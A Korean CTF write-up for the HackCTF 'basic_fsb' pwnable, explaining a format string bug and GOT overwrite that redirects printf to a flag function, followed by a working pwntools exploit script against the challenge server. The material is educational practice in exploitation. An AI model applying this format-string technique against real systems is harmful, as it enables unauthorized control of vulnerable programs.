이번 문제는 GOT Overwrite를 이용한 Format String Bug 문제이다. ida로 basic_fsb.dms바이너리파일을 분석한 결과를 보자. 디컴파일된 코드를 보면 우선 main 함수에 vuln() 함수가 호출되고 vuln() 함수에서는 s에 입력을 받고 printf 함수를 통하여 출력한다. 기존의 printf 사용과는 달리 FSB 환경(" " 사용 X)이 주어져있기 때문에 다음과 같이 해결할 수 있다.
- printf 함수의 GOT 주소를 쉘을 실행시키는 함수의 주소로 덮는다.
- GOT Overwrite 가 되었으면 printf(&format) 코드가 실행될 때 쉘실행 함수가 실행될 것이다.
flag라는 멋있는 함수가 들어있다. 이제 이 함수의 주소를 구해보자. → 0x080485b4
FSB 기법을 사용하자. payload를
printf@got + %(((int)0x080485b4)d - 4) + %n
과 같이 작성하면 printf$got 에 flag 함수의 주소가 overwrite 될 것이다. 위에서 4를 빼주는 이유는 %n을 만나면 앞의 있는 바이트를 모두 더한 값이 printf@got 에 overwrite 되기 때문에 앞에서 쓴 printf@got 가 4 bytes 이기 때문이다.
이제 exploit 코드를 작성하고 exploit 하자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb.dms") #바이너리의 정보(plt, got, 보호기법 등)를 얻을 때 사용
g = elf.got['printf'] #대괄호 사용해야 함 !주의!
payload = p32(g)
payload += "%134514096d"
payload += "%n"
r.recvuntil(": ") #function call을 하므로 recvuntil로 입력을 받는 부분 바로 전까지 이동
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
BOF_PIE (0) | 2020.08.28 |
---|---|
Offset (0) | 2020.08.28 |
내 버퍼가 흘러넘친다!!! (0) | 2020.08.28 |
Basic_BOF #2 (0) | 2020.08.28 |
Basic_BOF #1 (0) | 2020.08.28 |